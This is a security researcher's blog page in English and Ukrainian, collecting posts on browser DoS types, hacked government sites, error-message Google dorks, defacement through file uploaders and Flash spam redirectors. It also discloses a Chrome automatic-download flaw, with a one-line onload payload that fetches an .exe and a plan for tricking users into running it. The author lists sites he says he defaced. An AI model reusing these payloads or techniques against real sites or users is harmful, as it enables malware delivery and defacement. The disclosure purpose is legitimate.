Websecurity - Веб безпека

This is English version of my Classification of DoS vulnerabilities in browsers article.

During doing the researches of security of browsers in this year, especially in last two months (when I did projects Day of bugs in Google Chrome and Day of bugs in browsers), I created my own classification of DoS vulnerabilities in browsers. Among different browsers I often have to deal with Denial of Service vulnerabilities and they are various, with some typical criterions, which I decided to highlight in this classification.

All these vulnerabilities of denial of service are DoS, but instead of one general type of this class of vulnerabilities now, if necessary, will be possible to use three types (for refinement). These DoS types are typical for browsers. Note, that other client applications can have all or part of these types of DoS vulnerabilities.

There are next types of Denial of Service vulnerabilities in browsers:

1. Crashing DoS.

2. Blocking DoS.

• Freezing.
• Blocking.

3. Resources consumption DoS.

• CPU overload.
• Memory consumption.

Quite often such holes in browsers occur, which combine symptoms of some types of DoS. These are joint DoS vulnerabilities, where simultaneously take place two DoS attacks. For example, freezing and resources consumption, or blocking and resources consumption. Also holes occur, which belong to type Resources consumption DoS, when takes place consumption of both resources (CPU and RAM).

In case of Crashing DoS, browser completely crashes (application closes), which can leads to loss of unsaved data.

In case of Blocking DoS, browser blocks (it not crashes). When freezing browser not responds to user actions and it’s not possible to continue work with it. When blocking browser not freezes, but work with it completely blocks. In both subspecies of these type of DoS vulnerabilities, work with browser becomes impossible and user forced to close it by himself.

In case of Resources consumption DoS, browser begins taking main resources of computer. It can be CPU resources, or RAM, or both resources simultaneously. In case of memory consumption effect from attack will come faster, but CPU consumption attacks more mean and dangerous. These DoS attacks lead to slowing down performance of user’s computer, i.e. affect on whole computer and all started applications. And user of browser forced to close it by himself.

DoS vulnerabilities in browsers are dangerous for users. Which I wrote about already in article Dangers of DoS attacks on browsers.

Проводячи в цьому році дослідження безпеки браузерів, особливо в останні два місяці (коли я провів проекти День багів в Google Chrome та День багів в браузерах), я створив власну класифікацію DoS уразливостей в браузерах. Серед різних браузерів часто доводиться стикатися з Denial of Service уразливостями і вони бувають різноманітними, з деякими характерними критеріями, які я й вирішив виділити в даній класифікації.

Всі ці уразливості відмови в обслуговуванні є DoS, але замість одного загального виду даного класу уразливостей тепер, при потребі, можна буде використати три види (для уточнення). Дані види DoS характерні для браузерів. Зазначу, що інші клієнтські додатки можуть мати всі або частину даних видів DoS уразливостей.

Denial of Service уразливості в браузерах бувають наступних видів:

1. Вибиваючі DoS (crashing DoS).

2. Блокуючі DoS (blocking DoS).

• Зависання (freezing).
• Блокування (blocking).

3. DoS через споживання ресурсів (resources consumption DoS).

• Споживання ресурсів CPU (CPU overload).
• Споживання ресурсів RAM (memory consumption).

Нерідко зустрічаються дірки в браузерах, які поєднують симптоми декількох видів DoS. Це комбіновані DoS уразливості, коли одначасно мають місце дві DoS атаки. Наприклад, зависання і споживання ресурсів, або блокування і споживання ресурсів. Також трапляються дірки, що відносяться до виду DoS через споживання ресурсів, коли відбувається споживання обох ресурсів (CPU і RAM).

У випадку Вибиваючих DoS, браузер повністю вибиває (додаток закривається), що може призвести до втрати незбережених даних.

У випадку Блокуючих DoS, браузер блокується (його не вибиває). При зависанні браузер не реагує на дії користувача і з ним не можна продовжити працювати. При блокуванні браузер не підвисає, але робота з ним повністю блокується. В обох підвидах даного виду DoS уразливостей, робота з браузером стає неможливою і користувач змушений сам закрити його.

У випадку DoS через споживання ресурсів, браузер починає забирати основні ресурси комп’ютера. Це можуть бути ресурси CPU, або RAM, або обидва ресурси одночасно. У випадку споживання ресурсів пам’яті ефект від атаки наступить швидше, але атаки споживання ресурсів процесора більш підлі й небезпечні. Дані DoS атаки призводять до зменшення швидкодії усього комп’ютера користувача, тобто впливають на весь комп’ютер і всі запущені додатки. І змушують користувача браузера самому закрити його.

DoS уразливості в браузерах є небезпечними для користувачів. Про що я вже писав в статті Небезпеки DoS атак на браузери.

В своїх дослідженнях похаканих сайтів, що я регулярно публікую з липня цього року, я розповідав про численні випадки взломів різних сайтів в Уанеті. Зокрема, серед числа нещодавно похаканих сайтів. Враховуючи важливість забезпечення безпеки державних сайтів (в кожній серйозній державі), я вирішив дослідити ситуацію зі взломами державних сайтів України.

Безпека сайтів наших органів влади залишає бажати кращого, про що я неодноразово писав. Зокрема, в новинах я розповідав про знайдені мною уразливості на сайті Верховної Ради України, Кабінета Міністрів України, Президента України, kmv.gov.ua, kmr.gov.ua, www.sbu.gov.ua, www.szru.gov.ua, www.dcz.gov.ua, www.niisp.gov.ua, mail.kmv.gov.ua та www.bank.gov.ua. Деякі з виявлених мною уразливостей були виправлені (на деяких з наведених сайтів), але не всі. Часто окрім того, що дані структури самі не слідкують за безпекою, так ще й мої попередження про уразливості ігнорують.

В цілому ситуація з безпекою державних сайтів в Україні не визиває позитивних емоцій і знаходиться на низькому рівні. Нашим спецслужбам, зокрема СБУ, варто потурбуватися про покращення рівня захищенності державних сайтів - як своїх власних, так і в цілому всіх державних сайтів. Що зараз ними робиться незадовільно і цю ситуацію варто покращувати.

Серед виявлених мною взломів державних сайтів є наступні:

• http://if.gov.ua (хакерами з byond hackers team) - був похаканий 01.03.2006, по даним redtram.com.
• http://www.mvk.if.ua (хакером DumansaL) - був похаканий 25.08.2008, про що я писав нещодавно.

Враховуючи наведені приклади, а також ту інформацію про взломи державних сайтів, що мені розповідали користувачі сайту, можна впевнено стверджувати, що державні сайти України періодично взламують. Хоча й лише рідкі випадки випливають у вільний доступ. Дана ситуація зі вломами gov-сайтів, пов’язана з недостатнім рівнем їх безпеки. Кожна країна в світі повинна слідкувати за безпекою власних державних сайтів, чого я бажаю й Україні.

Продовжу тему “Warning” Гугл хакінга (”Warning” Google hacking). Котрий є різновидом Гугл хакінга - використання пошукових систем (зокрема Гугла) для пошуку уразливостей на сайтах.

Дана методика передбачає використання Гугла (чи інших пошукових систем) з метою пошуку повідомлень на сайтах про помилки, і дозволяє знайти важливу інформацію стосовно даних сайтів. За допомогою спеціальних пошукових запитів (дорків) можна знайти Full path disclosure та Information disclosure уразливості на різноманітних сайтах в Інтернеті.

Новий перелік “варнінг” пошукових запитів:

Warning: Variable passed to each

Warning: bcmod

Warning: bcompiler

Warning: cal_days_in_month

Warning: call_user_func

Warning: call_user_func_array

Warning: call_user_method

Warning: call_user_method_array

Warning: cal_to_jd

Warning: Invalid argument supplied

В своїй презентації AppSec 2007 - .NET Web Services Hacking, Shreeraj Shah розповідає про безпеку сервісів на платформі .NET. Він описує поширені атаки на сайти на даній платформі та методи захисту від них.

Основне використання аплоадера при атаці на веб сайт - це завантаження скрипту, для його виконання на сервері. У випадку, коли не можна завантажити скрипт безпосередньо, то його можна завантажити як txt-файл, і використовучи Local File Inclusion уразливість виконати необхідний код. Нещодавно я писав про уразливість в FCKeditor, що дозволяє проводити дану атаку - завантажувати код на сайт, який потім через LFI можна виконати.

Досліджуючи дану уразливість в FCKeditor я виявив, що аплоадер можна використати по іншому. Його можна використати для проведення нового виду атаки через аплоадер - завантаження html-файлу для заміни індексної сторінки (partial deface).

Дана атака може використовуватися для часткового дефейса (однієї директорії), проведення Persistent XSS та HTML Injection атак, для редирекції або розміщення шкідливого коду. І ефективність атаки буде високою, тому що URL на сайті, на який потрібно заманити жертву, не буде виглядати підозріло - це буде адреса директорії на сайті.

Суть атаки зводиться до завантаження index.html файла в діректорію для закачки. У випадку, якщо в налаштуваннях сайта не була задана інша індексна сторінка (тобто виводився список файлів даної директорії) і якщо не було заборонено закачувати index.html (або index.htm чи інші індексні файли), то даний файл виведеться по замовчуванню при заході в дану папку. Що призведе до виконання коду, що міститься в даному файлі.

Ось декілька прикладів похаканих мною сайтів (в Інтернеті можна знайти й інші взломані хакерами сайти):

http://www.labradorwest.com/contentImages/File/

http://www.pequenodavi.org.br/gerencia/docs/File/

З вищезазначеного видно, що навіть обмежений аплоадер (що дозволяє завантажувати html-файли), може бути використаний для проведення різноманітних атак на веб сайт.

Нещодавно я виявив новий вид редиректорів, які почали використовуватися спамерами - флеш редиректори.

Про редиректори, що зокрема можуть використовуватися для фішинга, я розповідав ще в 2006 році. Редиректори є поширеними уразливостями в Інтернеті. Зокрема в проекті MOSEB я розповідав про редиректори в пошукових системах, також я розповідав про редиректори на секюріті сайтах, редиректори в CMS та редиректори Гугла.

В 2007 та 2008 роках традиційні редиректори почали активно використовуватися в емайл та IM спамі. В середньому через рік бедгаї починають використовувати методи, про які повідомляли секюріті дослідники.

Окрім традиційних редиректорів, які все більш активно в останній час використовують спамери та фішери, також можна використовувати flash. Самі флешки розміщуються на різних сайтах, зокрема на безкоштовних хостінгах чи файл-хостінгах (особливо на популярних). І в яких розміщується AS код (getURL), що виконує редирекцію. Даний варіант редирекції останнім часом почав активно використовуватися спамерами.

Деякий час тому я виявив в спамі використання флеш редиректорів на сайті http://imageshack.us.

Лінка веде на файл http://img524.imageshack.us/path/file.swf. А флешка редиректить на http://spam-site. Це XSS атака через Flash, що в даному випадку використовується для редирекції.

Flash файл містить код для редирекції:

getURL("http://spam-site", "_self");

Подібні підходи призначені для заманювання на рекламуємі спамерами чи зловмисні сайти, а також для обходу спам фільтрів.

Продовжуючи розпочату традицію, після попереднього відео про Blind SQL Injection, пропоную новий відео секюріті мануал. Цього разу відео про Authentication Bypass у phpBB. Рекомендую подивитися всім хто цікавиться цією темою.

phpBB Session Handling Authentication Bypass Demonstration

В даному відео ролику наочно демонструється проведення Authentication Bypass атаки в phpBB для захоплення акаунта адміна. Що цікаво, що випуск свого MustLive Security Pack (в 2005 році) я розпочав зокрема з випуску патча для цієї дірки в phpBB. Рекомендую подивитися дане відео для розуміння векторів атаки через Insufficient Authorization та небезпеки подібних уразливостей.

This is English version of my Automatic File Download vulnerabilities in browsers article.

For already known vulnerabilities in browsers I’m adding new one. I present for you new class of vulnerabilities in browsers - Automatic File Download - it’s new attack vector, which can be used for spreading malicious software.

I had occasion to meet before with vulnerabilities, which leaded to automatic downloading of arbitrary files from Internet, particularly exe-files, and with further their execution. It was concerned with buffer overflow vulnerabilities in browsers, Internet Explorer in particular. But for the first time I saw such vulnerability, which is a part of browser’s functionality. This vulnerability was presented in browser Google Chrome. Taking into account that in all other browsers, which I worked with, I didn’t see such vulnerability, so I state that Chrome is a first browser with holed function of file downloading (when attack is going through downloading function).

Variants of attack.

From all vulnerabilities which I have found in Google Chrome, including during my project Day of bugs in Google Chrome, there were seven Automatic File Download. Altogether I disclosed eight such holes: one of nerex and seven of mine.

• Automatic File Download vulnerability via tag iframe, found by nerex - original exploit and my version of exploit.
• Automatic File Download vulnerability via tag frame - exploit.
• Automatic File Download vulnerability via tag meta - exploit.
• Automatic File Download vulnerability via tag script - exploit.
• Automatic File Download vulnerability via tag body - exploit.
• Automatic File Download vulnerability via tag form - first exploit and second.
• Automatic File Download vulnerability via tag frameset - exploit.
• Automatic File Download vulnerability via tag img - exploit.

All these vulnerabilities are triggering automatically - while downloading page with required code. I found 8 such cases in all - via tags iframe, frame, meta, script, body, form, frameset and img. It’s possible to use other tags for this attack, but they will not be triggering automatically, because will require some actions from user (press element, pointing at element, etc.). So for the attack the most suitable are these 8 variants of Automatic File Download vulnerability.

All versions of Google Chrome are vulnerable to these holes (last on current time 0.2.149.29 and previous versions of the browser).

Making of attack.

For making of attack it’s required to place code at web page and attract on it user of the browser.

Example of the code for vulnerability via tag body:

<body onload="document.location='http://websecurity.com.ua/uploads/hack.exe'">

Algorithm of attack:

1. User comes to web site, which contains this code.

2. Executable file (exe) is automatically downloading to user’s computer - into download folder, which is set in options.

After that, user in any time can go to his download folder and during check of his files, run this program. Which can be malicious one.

3. To speed up the attack, offender can stimulate victim to run this application from the browser.

For this mass download effect needs to be used. It’s needed to run for automatic downloading multiple exe-files - which will be showing at bottom of browser’s window (as a buttons). And if run simultaneously many downloadings, they will take whole place at bottom of browser’s window. Which make possibility for user to press on them.

4. User can move cursor and press on one of these buttons. He can do it by accident press button (especially when there will be many of them), from interest, or when decided that he downloaded some file by himself.

5. After pressing on it, user right away runs just downloaded program. Which can hacked his computer. On this picture my demonstration program is shown, which designed for reminding about need to attend to security.

As last picture indicates, even Google can’t protect you from me .

Conclusion.

Hidden attack (for file downloading) can be made, when user has turned off option “Ask me where to save every file”. Taking into account that this option is turned off by default, and also that even if it turned on, it can be turned off in any time (or by user, or by somebody “kind”, who will have access to user’s browser), so this vulnerability and attacks concerned with it are presenting serious danger.

From browsers which I worked with, such functionality, when it’s possible to set in settings the option “not ask where to save”, is in browser Firefox (from first 0.x versions, one of which I downloaded in 2004). And so, in all versions of Firefox before files downloading always asking, if you want to save this file (as do other browsers). And this option only affect on appearing of new dialog window, where asking where to save the file (i.e. there are two dialogs). But Chrome right away saves file without questions.

For developers of the browsers, particularly Google, it’s better to not allow such vulnerabilities in their applications.

Після виходу в березні попередньої телепередачі зі мною на Інтері, очікується нова телепередача в цьому місяці.

Сьогодні я знявся для новин для телеканалу 1+1. Які будуть показані на ТБ завтра. Сюжет з моєю участю вийде 14 вересня в 19:30 на 1+1 в програмі “ТСН” (в новинах). В сюжеті мова буде йти про атаки на сайти банків.

Так що всі бажаючі можуть завтра подивитися телепрограму з моєю участю .

P.S.

Можете переглянути дане відео в своєму плеєрі:

http://websecurity.com.ua/uploads/articles/tv_video3.flv